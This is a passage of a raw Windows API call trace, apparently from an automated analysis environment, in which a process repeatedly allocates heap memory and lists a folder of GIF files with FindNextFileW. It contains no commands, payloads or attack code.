(HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ec48 [0074.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1688 [0074.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.914] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15185_.GIF", cAlternateFileName="")) returned 1 [0074.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ec68 [0074.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1790 [0074.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.915] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6d4a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6d4a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15301_.GIF", cAlternateFileName="")) returned 1 [0074.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ec88 [0074.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1898 [0074.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.915] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7332a00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7332a00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15302_.GIF", cAlternateFileName="")) returned 1 [0074.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7eca8 [0074.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa19a0 [0074.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.916] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e24d100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4e24d100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21303_.GIF", cAlternateFileName="")) returned 1 [0074.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ecc8 [0074.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1aa8 [0074.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.916] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0150b00, ftCreationTime.dwHighDateTime=0x1bd4f54, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0150b00, ftLastWriteTime.dwHighDateTime=0x1bd4f54, nFileSizeHigh=0x0, nFileSizeLow=0x616, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21305_.GIF", cAlternateFileName="")) returned 1 [0074.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ece8 [0074.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1bb0 [0074.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.917] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ca00, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ca00, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21307_.GIF", cAlternateFileName="")) returned 1 [0074.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ed08 [0074.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1cb8 [0074.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.917] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56009300, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56009300, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0xd1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21309_.GIF", cAlternateFileName="")) returned 1 [0074.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ed28 [0074.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1dc0 [0074.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.918] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d745b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3d745b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x901, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21311_.GIF", cAlternateFileName="")) returned 1 [0074.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ed48 [0074.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1ec8 [0074.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x33c0) returned 0xa94c50 [0074.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa63e8) returned 1 [0074.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.919] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b120100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b120100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1a15, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21313_.GIF", cAlternateFileName="")) returned 1 [0074.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ed68 [0074.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1fd0 [0074.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.919] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x364d4d00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x364d4d00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21315_.GIF", cAlternateFileName="")) returned 1 [0074.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ed88 [0074.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa20d8 [0074.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.920] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb568300, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbb568300, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21318_.GIF", cAlternateFileName="")) returned 1 [0074.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7eda8 [0074.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa21e0 [0074.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.920] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7128600, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7128600, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21319_.GIF", cAlternateFileName="")) returned 1 [0074.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7edc8 [0074.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa22e8 [0074.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.920] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97933d00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97933d00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x664, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21320_.GIF", cAlternateFileName="")) returned 1 [0074.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ede8 [0074.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa23f0 [0074.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.921] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b19a00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85b19a00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x9c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21321_.GIF", cAlternateFileName="")) returned 1 [0074.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ee08 [0074.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa24f8 [0074.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.921] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5c3b00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f5c3b00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x4d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21322_.GIF", cAlternateFileName="")) returned 1 [0074.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ee28 [0074.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa2600 [0074.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.922] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b9c600, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32b9c600, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21323_.GIF", cAlternateFileName="")) returned 1 [0074.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ee48 [0074.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa2708 [0074.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.922] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30576c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x30576c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21324_.GIF", cAlternateFileName="")) returned 1 [0074.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df51200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2df51200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21325_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dae8400, ftCreationTime.dwHighDateTime=0x1bd4f56, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dae8400, ftLastWriteTime.dwHighDateTime=0x1bd4f56, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21326_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a618b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2a618b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21328_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ff3100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x27ff3100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21330_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x246baa00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x246baa00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1f91, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21332_.GIF", cAlternateFileName="")) returned 1 [0074.923] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e75c900, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1e75c900, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x888, dwReserved0=0x0, dwReserved1=0x0, 